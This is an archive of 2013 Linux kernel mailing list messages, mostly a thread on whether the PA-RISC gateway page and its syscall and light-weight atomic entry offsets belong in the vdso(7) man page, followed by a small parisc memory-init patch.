	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	"linux-man" <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 12 21:45:25 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQjuX-0005HG-5X
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Apr 2013 21:45:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752943Ab3DLTpY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Apr 2013 15:45:24 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:35104 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752680Ab3DLTpY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Apr 2013 15:45:24 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 6B45433DD33;
	Fri, 12 Apr 2013 19:45:23 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.8.3; KDE/4.6.5; x86_64; ; )
In-Reply-To: <1365794087.1934.50.camel@dabdike>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4911 gmane.linux.man:3909
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4911>

--nextPart4323620.CjZlNmuAJo
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable

On Friday 12 April 2013 15:14:47 James Bottomley wrote:
> On Fri, 2013-04-12 at 14:45 -0400, Mike Frysinger wrote:
> > On Friday 12 April 2013 00:45:12 James Bottomley wrote:
> > > On Thu, 2013-04-11 at 23:38 -0400, Mike Frysinger wrote:
> > > > what do you think of this section for vdso(7) ?  i might have to
> > > > split the "real" vdso arches from these others since there's a
> > > > couple now (arm, bfin, parisc), and i think there might be more down
> > > > the line (microblaze).
> > >=20
> > > I've got to say, I really don't think this can be classified as a vds=
o.
> > > For a vdso, the kernel exports an ELF object that can be linked
> > > dynamically into any elf binary requiring it.  The ELF section
> > > information provides full details and so vdso entries can be called by
> > > symbol.
> >=20
> > strictly speaking, sure, a vDSO is only a vDSO if it's an ELF (since the
> > acronym is literally "virtual dynamic shared object").  however, i see
> > the vdso as being a bit more of a flexible concept -- it's a place of
> > shared code that the kernel manages and exports for all userspace
> > processes. fundamentally, the point of the vDSO is to provide services
> > to greatly speed up userspace.  in that regard, these mapped pages are
> > exactly like vDSOs.
>=20
> I don't entirely understand this classification.  If the kernel<->user
> gateway becomes classified as a vdso, that covers our syscall interface
> on every archtecture.  There's now no distinction between a vdso (which
> may not even move to kernel mode) and a syscall.
>=20
> I think the difference is that a syscall is a specific call to a known
> kernel routine by number and it involves a transition to kernel mode.  A
> vdso is an exported link object containing certain functions which may
> or may not cause a trap to kernel mode when executed.  The distinction
> is how you do the call.  For syscalls, you have to know the number and
> the arguments.  For vdso you just have to know the symbol (and
> obviously, the prototype for C code) and the kernel supplies the
> implementation direct to the userspace binary.

i'm not fully versed in the parisc linux gateway page or how the architectu=
re=20
is handling things, so i could be completely off here.  from reading the so=
urce=20
code, it *looked* like it was just a page of utility funcs that userspace=20
branches to without changing privilege modes or going through the full sysc=
all=20
routines.

so i'm saying the gateway page itself can be thought of in the same vein as=
 a=20
vDSO.  it's a black box with entry points that provide light weight service=
s=20
to userspace.  sometimes it ends up triggering a full syscall, sometimes it=
=20
doesn't (just like a vDSO).

> > thus i think it's appropriate to document these "fixed code" regions th=
at
> > many arches export (ARM, Blackfin, Itanium, Microblaze, PA-RISC) in the
> > same man page as the vdso.  especially since (currently) arches do one
> > or the other, but not both.
>=20
> I really see these as a type of lightweight syscall.  You use the
> syscall prototype (call by number with known arguments) but the call may
> not necessarily transition to kernel mode proper to handle the function.

if you think of the vdso in a very strict light (it's exactly an ELF that t=
he=20
kernel automatically maps into every process's address space), then i guess=
=20
you can only classify these as lightweight syscalls (where the address/offs=
et=20
is the "syscall #").

i see vdso as being a more flexible concept than that -- if it's code mappe=
d=20
into a process's address space and provides useful lightweight services tha=
t=20
are meant to be used specifically in lieu of syscall(), then it's vdso-like=
 and=20
should be in the vdso(7) man page.  it has a lot more in common imo with a=
=20
vdso than it does with an actual syscall.  i certainly think vdso(7) is mor=
e=20
appropriate for these regions than syscall(2) or syscalls(2).

> > > In the parisc gateway page implementation, we have a set of "hidden"
> > > primitives which the executable must know how to call (no self
> > > description like a vdso).  This mechanism is identical to the original
> > > intent of the x86 int <n> instruction (an instruction that traps into
> > > the kernel and performs some primitive action but to use it, you have
> > > to know which function corresponds to which value of <n>).
> >=20
> > would it be useful to document all of them ?  or just the ones that
> > userspace actively uses (like syscall/cas) ?  or should all of this be
> > recorded in the kernel's Documentation/parisc/ subdir and just have the
> > man page refer people there (like it does for ARM & Blackfin currently)
> > ?
>=20
> I'm not sure.  For x86 they're in include/asm/traps.h.  I think the only
> ones we really use are int3 for breakpoint, int4 for overflow and int80
> for legacy syscall.

hmm, i wasn't even considering the other arch-specific services offered by =
e.g.=20
software interrupts.  i don't think those belong in vdso(7) as they don't=20
confer any of the lightweight advantages the vdso is designed to bring, but=
 it=20
might be useful to document these somewhere.  they're also not as common fo=
r=20
people to encounter as a vdso ...
=2Dmike

--nextPart4323620.CjZlNmuAJo
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJRaGSuAAoJEEFjO5/oN/WBHQsP/RAaCknJh0hHHaqTgvfR7qD6
GiAwpxMSNp0uG6q2hlYYH4FNOk4yXR8l99XZOr0SHTzHNI6r+Dd742Lx9hAtxtZ/
VsNmO4pUsnORBTb5WnOYld2Ml4Pjd1RgCLwlKjj9Ol88nImyD2VTmRpBxfUsx0np
M6ZfwbLfITifb8e65mYhNhwA9EEcugIHseGTs4KKwDy9GAdLHOJAdzTx2f6+bMgf
sbQaSzL0Y1x3JylbCjcCsOkuy0yt+4mjezyNAM00vOZ3qLYN2bGpEGwHu43HdTTK
A/QZTw41DF0S6IMvT4m9HzVPOuL61mBOkOj/gIEd6BWwC0PXkQ0/DO9ZbvxclCy/
2sEHPaDHESM6btfGjaF0LeE/BsitIYSVZQp6Xyels8RCBp9U6NKlDzRou8vm+hJZ
7ivtqat3j2eJ1O95guQ//BQImhPp6wphSEOM+AwFpjL9sIBgUxsMxwHY8OvuZNO9
PzkLZCtplTZT0lLWTe/XPfuNcnQvxJflUAx2VAyCNKXEZj2CfmIQQvv5M/ZO223X
nOsWAKxQAJQJqGcukWJkProyDxSDUaDmkcNzumcnZVxw+42C6eorIPwwbH1eY8Ya
tVS3PZ2uUxsI2M0gs1M8+7r/oVIxRF5lQ4Tfm+b+MIgIFeYKZ2n6/6Lh3cyyWtsB
zquf4UJ2vTd1Ka/eLWTi
=DDbX
-----END PGP SIGNATURE-----

--nextPart4323620.CjZlNmuAJo--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Fri, 12 Apr 2013 13:25:28 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <1365798328.1934.66.camel@dabdike>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
	 <201304121445.08948.vapier@gentoo.org> <1365794087.1934.50.camel@dabdike>
	 <201304121546.54478.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365798336 17940 80.91.229.3 (12 Apr 2013 20:25:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 20:25:36 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	linux-man <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 12 22:25:39 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQkXN-00063T-4N
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Apr 2013 22:25:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755519Ab3DLUZb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Apr 2013 16:25:31 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45906 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754474Ab3DLUZb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Apr 2013 16:25:31 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9FB688EE0CF;
	Fri, 12 Apr 2013 13:25:30 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2Do_un3dW3Nf; Fri, 12 Apr 2013 13:25:30 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9146F8EE0A5;
	Fri, 12 Apr 2013 13:25:29 -0700 (PDT)
In-Reply-To: <201304121546.54478.vapier@gentoo.org>
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4912 gmane.linux.man:3910
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4912>

On Fri, 2013-04-12 at 15:46 -0400, Mike Frysinger wrote:
> On Friday 12 April 2013 15:14:47 James Bottomley wrote:
> > On Fri, 2013-04-12 at 14:45 -0400, Mike Frysinger wrote:
> > > On Friday 12 April 2013 00:45:12 James Bottomley wrote:
> > > > On Thu, 2013-04-11 at 23:38 -0400, Mike Frysinger wrote:
> > > > > what do you think of this section for vdso(7) ?  i might have to
> > > > > split the "real" vdso arches from these others since there's a
> > > > > couple now (arm, bfin, parisc), and i think there might be more down
> > > > > the line (microblaze).
> > > > 
> > > > I've got to say, I really don't think this can be classified as a vdso.
> > > > For a vdso, the kernel exports an ELF object that can be linked
> > > > dynamically into any elf binary requiring it.  The ELF section
> > > > information provides full details and so vdso entries can be called by
> > > > symbol.
> > > 
> > > strictly speaking, sure, a vDSO is only a vDSO if it's an ELF (since the
> > > acronym is literally "virtual dynamic shared object").  however, i see
> > > the vdso as being a bit more of a flexible concept -- it's a place of
> > > shared code that the kernel manages and exports for all userspace
> > > processes. fundamentally, the point of the vDSO is to provide services
> > > to greatly speed up userspace.  in that regard, these mapped pages are
> > > exactly like vDSOs.
> > 
> > I don't entirely understand this classification.  If the kernel<->user
> > gateway becomes classified as a vdso, that covers our syscall interface
> > on every archtecture.  There's now no distinction between a vdso (which
> > may not even move to kernel mode) and a syscall.
> > 
> > I think the difference is that a syscall is a specific call to a known
> > kernel routine by number and it involves a transition to kernel mode.  A
> > vdso is an exported link object containing certain functions which may
> > or may not cause a trap to kernel mode when executed.  The distinction
> > is how you do the call.  For syscalls, you have to know the number and
> > the arguments.  For vdso you just have to know the symbol (and
> > obviously, the prototype for C code) and the kernel supplies the
> > implementation direct to the userspace binary.
> 
> i'm not fully versed in the parisc linux gateway page or how the architecture 
> is handling things, so i could be completely off here.  from reading the source 
> code, it *looked* like it was just a page of utility funcs that userspace 
> branches to without changing privilege modes or going through the full syscall 
> routines.

Oh, if that's the misunderstanding, then the gateway page is "special".
It actually has PAGE_GATEWAY bits set (this is linux terminology; in
parisc terminology it's Execute, promote to PL0)in the page map.  So
anything executing on this page executes with kernel level privilege
(there's more to it than that: to have this happen, you also have to use
a branch with a ,gate completer to activate the privilege promotion).
The upshot is that everything that runs on the gateway page runs at
kernel privilege but with the current user process address space
(although you have access to kernel space via %sr2).  For the 0x100
syscall entry, we redo the space registers to point to the kernel
address space (preserving the user address space in %sr3), move to wide
mode if required, save the user registers and branch into the kernel
syscall entry point.  For all the other functions, we execute at kernel
privilege but don't flip address spaces.  The basic upshot of this is
that these code snippets are executed atomically (because the kernel
can't be pre-empted) and they may perform architecturally forbidden (to
PL3) operations (like setting control registers).

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Fri, 12 Apr 2013 08:17:38 -0400
Lines: 135
Approved: news@gmane.org
Message-ID: <BLU0-SMTP7FE3CEF5EAAC8C6456FEB97C10@phx.gbl>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com> <201304112155.46349.vapier@gentoo.org> <BLU0-SMTP62F4273B01E0328ADCD7BE97C10@phx.gbl> <201304112338.56618.vapier@gentoo.org> <1365741912.6982.8.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365805340 22285 80.91.229.3 (12 Apr 2013 22:22:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 22:22:20 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	linux-man <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 13 00:22:23 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQmMR-0006Y0-9j
	for glpp-linux-parisc@plane.gmane.org; Sat, 13 Apr 2013 00:22:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753007Ab3DLWWW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Apr 2013 18:22:22 -0400
Original-Received: from blu0-omc4-s1.blu0.hotmail.com ([65.55.111.140]:19549 "EHLO
	blu0-omc4-s1.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751670Ab3DLWWV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Apr 2013 18:22:21 -0400
Original-Received: from BLU0-SMTP7 ([65.55.111.135]) by blu0-omc4-s1.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 12 Apr 2013 15:22:21 -0700
X-EIP: [+iKJt5N1N4f8Sfab93yZG1oVMfUK/alZ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.169.249]) by BLU0-SMTP7.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 12 Apr 2013 15:22:20 -0700
In-Reply-To: <1365741912.6982.8.camel@dabdike>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 12 Apr 2013 22:22:20.0503 (UTC) FILETIME=[32C63670:01CE37CC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4913 gmane.linux.man:3911
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4913>

On 12-Apr-13, at 12:45 AM, James Bottomley wrote:

> On Thu, 2013-04-11 at 23:38 -0400, Mike Frysinger wrote:
>> On Thursday 11 April 2013 22:34:43 John David Anglin wrote:
>>> On 11-Apr-13, at 9:55 PM, Mike Frysinger wrote:
>>>> On Sunday 07 April 2013 14:48:42 John David Anglin wrote:
>>>>> On 7-Apr-13, at 2:39 PM, Mike Frysinger wrote:
>>>>>> just to be clear, the only insn you need is:
>>>>>>  ble 0x100(%sr2, %r0);
>>>>>>
>>>>>> the kernel docs say sr2 holds the kernel gateway page (so i guess
>>>>>> 0x100 is a
>>>>>> known offset into that).  the docs don't mention r0 that i can  
>>>>>> see,
>>>>>> so i'm
>>>>>> guessing it's one of those "always 0" registers ?
>>>>>
>>>>> Yes.  There is also an entry at offset 0xb0 for light-weight-
>>>>> syscalls.  Currently,
>>>>> this implements an atomic CAS operation used for pthread support.
>>>>
>>>> interesting.  sounds like a poor man's vDSO.  i'll document this  
>>>> the
>>>> new
>>>> vdso(7) man page.
>>>
>>> Not exactly, the code runs on the gateway page which is in kernel  
>>> space.
>>> The main reason for doing the operation in kernel space is to  
>>> prevent
>>> processes from being preempted while executing in the lock  
>>> region.  In
>>> general,
>>> parisc processes are not preempted on the gateway page.  There are
>>> some subtleties regarding fault handling.
>>
>> sure ... the Blackfin arch does a similar thing for providing fast  
>> atomic
>> primitives to userspace since the ISA can't.
>>
>> what do you think of this section for vdso(7) ?  i might have to  
>> split the
>> "real" vdso arches from these others since there's a couple now  
>> (arm, bfin,
>> parisc), and i think there might be more down the line (microblaze).
>
> I've got to say, I really don't think this can be classified as a  
> vdso.
> For a vdso, the kernel exports an ELF object that can be linked
> dynamically into any elf binary requiring it.  The ELF section
> information provides full details and so vdso entries can be called by
> symbol.
>
> In the parisc gateway page implementation, we have a set of "hidden"
> primitives which the executable must know how to call (no self
> description like a vdso).  This mechanism is identical to the original
> intent of the x86 int <n> instruction (an instruction that traps into
> the kernel and performs some primitive action but to use it, you  
> have to
> know which function corresponds to which value of <n>).

I agree with James.  There is no ELF object exported to userspace.  The
content of the gateway page is hidden.  The data structures used for
the locks are in the kernel itself.  Access is via a special branch  
instruction
rather than a break/trap instruction.

>
> James
>
>
>> .SS parisc (hppa) functions
>> .\" See linux/arch/parisc/kernel/syscall.S
>> .\" See linux/Documentation/parisc/registers
>> The parisc port has a code page full of utility functions.
>> Rather than use the normal ELF aux vector approach, it passes the  
>> address of
>> the page to the process via the SR2 register.
>> This is done to match the way HP-UX works.
>>
>> Since it's just a raw page of code, there is no ELF information for  
>> doing
>> symbol lookups or versioning.
>> Simply call into the appropriate offset via the branch instruction,  
>> e.g.:
>> .br
>> ble <offset>(%sr2, %r0)
>> .if t \{\
>> .ft CW
>> \}
>> .TS
>> l l.
>> offset  function
>> _
>> 00b0    lws_entry
>> 00e0    set_thread_pointer
>> 0100    linux_gateway_entry (syscall)
>> 0268    syscall_nosys
>> 0274    tracesys
>> 0324    tracesys_next
>> 0368    tracesys_exit
>> 03a0    tracesys_sigexit
>> 03b8    lws_start
>> 03dc    lws_exit_nosys
>> 03e0    lws_exit
>> 03e4    lws_compare_and_swap64
>> 03e8    lws_compare_and_swap
>> 0404    cas_wouldblock
>> 0410    cas_action
>> .TE
>> .if t \{\
>> .in
>> .ft P
>> \}
>>
>>> There is support in glibc and libgcc for these calls.  The libgcc
>>> implementation
>>> in linux-atomic.c is very similar to that on arm.
>>
>> interesting.  another arch to add :).
>> -mike
>
>
>

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <liuj97@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [RFC PATCH v1 08/19] mm/PARISC: prepare for killing free_all_bootmem_node()
Date: Sat, 13 Apr 2013 23:36:28 +0800
Lines: 47
Approved: news@gmane.org
Message-ID: <1365867399-21323-9-git-send-email-jiang.liu@huawei.com>
References: <1365867399-21323-1-git-send-email-jiang.liu@huawei.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1365867699 27173 80.91.229.3 (13 Apr 2013 15:41:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 13 Apr 2013 15:41:39 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@huawei.com>,
	David Rientjes <rientjes@google.com>,
	Wen Congyang <wency@cn.fujitsu.com>,
	Mel Gorman <mgorman@suse.de>,
	Minchan Kim <minchan@kernel.org>,
	KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	David Howells <dhowells@redhat.com>,
	Mark Salter <msalter@redhat.com>,
	Jianguo Wu <wujianguo@huawei.com>,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Yinghai Lu <yinghai@kernel.org>
Original-X-From: owner-linux-mm@kvack.org Sat Apr 13 17:41:41 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1UR2aB-0001cE-Ge
	for glkm-linux-mm-2@m.gmane.org; Sat, 13 Apr 2013 17:41:39 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 904B26B003B; Sat, 13 Apr 2013 11:41:38 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7B8876B003C; Sat, 13 Apr 2013 11:41:38 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 466CD6B003D; Sat, 13 Apr 2013 11:41:38 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx196.postini.com [74.125.245.196])
	by kanga.kvack.org (Postfix) with SMTP id A9C016B003B
	for <linux-mm@kvack.org>; Sat, 13 Apr 2013 11:41:37 -0400 (EDT)
Original-Received: from mail-pd0-f181.google.com ([209.85.192.181]) (using TLSv1) by na3sys010amx196.postini.com ([74.125.244.10]) with SMTP;
	Sat, 13 Apr 2013 15:41:37 GMT
Original-Received: by mail-pd0-f181.google.com with SMTP id y10so1854236pdj.40
        for <linux-mm@kvack.org>; Sat, 13 Apr 2013 08:41:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=o1jbBuPYorFBe1rFMlwsUvCX4oGY9DSvcCK4/6Boq5w=;
        b=nErSOpyjRtsnindoGvXrEGK3ssTHJf29uOx9oS8cXZ35X20oZsEERwZPMslliieqzr
         /oh688F/BK0rWB1tG/3XSZiIFyD2cX0Fkk8eUcWnC+rufgIrma0qEi8sCpd6VEbu/ogs
         0OhrKxToX/wmKGvQQFPkjqV6rUOx2Ka2ijlrUs7LB5yXDli4JxU8Prj1V3Oyfwxuf4N4
         Ze8jfwNJ3FuMBPaVtXeHuBSzQk5nNvZZ5HCTHHqmwHDBcjtkullzC+DLRqWL5rXTegA1
         hRsE3/42wx+wDgxJwrGMRUBEzsjCCXY+IVo0Lsfi/g71TGV2eQ2dvfmhfD0Trb4WPR9e
         IDuQ==
X-Received: by 10.66.197.136 with SMTP id iu8mr21508600pac.0.1365867696920;
        Sat, 13 Apr 2013 08:41:36 -0700 (PDT)
Original-Received: from localhost.localdomain ([114.250.101.164])
        by mx.google.com with ESMTPS id dg5sm12981254pbc.29.2013.04.13.08.41.27
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sat, 13 Apr 2013 08:41:35 -0700 (PDT)
X-Mailer: git-send-email 1.7.9.5
In-Reply-To: <1365867399-21323-1-git-send-email-jiang.liu@huawei.com>
X-pstn-neptune: 1/1/1.00/100
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv gt4 GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <liuj97@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:98496 gmane.linux.kernel.cross-arch:17628 gmane.linux.kernel:1475419 gmane.linux.ports.parisc:4914
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/98496>

Prepare for killing free_all_bootmem_node() by using
free_all_bootmem().

Signed-off-by: Jiang Liu <jiang.liu@huawei.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: David Rientjes <rientjes@google.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
---
 arch/parisc/mm/init.c |   12 +-----------
 1 file changed, 1 insertion(+), 11 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index f80c175..ab76b84 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -585,18 +585,8 @@ void __init mem_init(void)
 			> BITS_PER_LONG);
 
 	high_memory = __va((max_pfn << PAGE_SHIFT));
-
-#ifndef CONFIG_DISCONTIGMEM
-	max_mapnr = page_to_pfn(virt_to_page(high_memory - 1)) + 1;
+	set_max_mapnr(page_to_pfn(virt_to_page(high_memory - 1)) + 1);
 	free_all_bootmem();
-#else
-	{
-		int i;
-
-		for (i = 0; i < npmem_ranges; i++)
-			free_all_bootmem_node(NODE_DATA(i));
-	}
-#endif
 
 #ifdef CONFIG_PA11
 	if (hppa_dma_ops == &pcxl_dma_ops) {
-- 
1.7.9.5

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: uaccess: fix compiler warnings caused by __put_user casting
Date: Wed, 17 Apr 2013 11:06:26 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <1366193186-24859-1-git-send-email-will.deacon@arm.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1366193203 30810 80.91.229.3 (17 Apr 2013 10:06:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Apr 2013 10:06:43 +0000 (UTC)
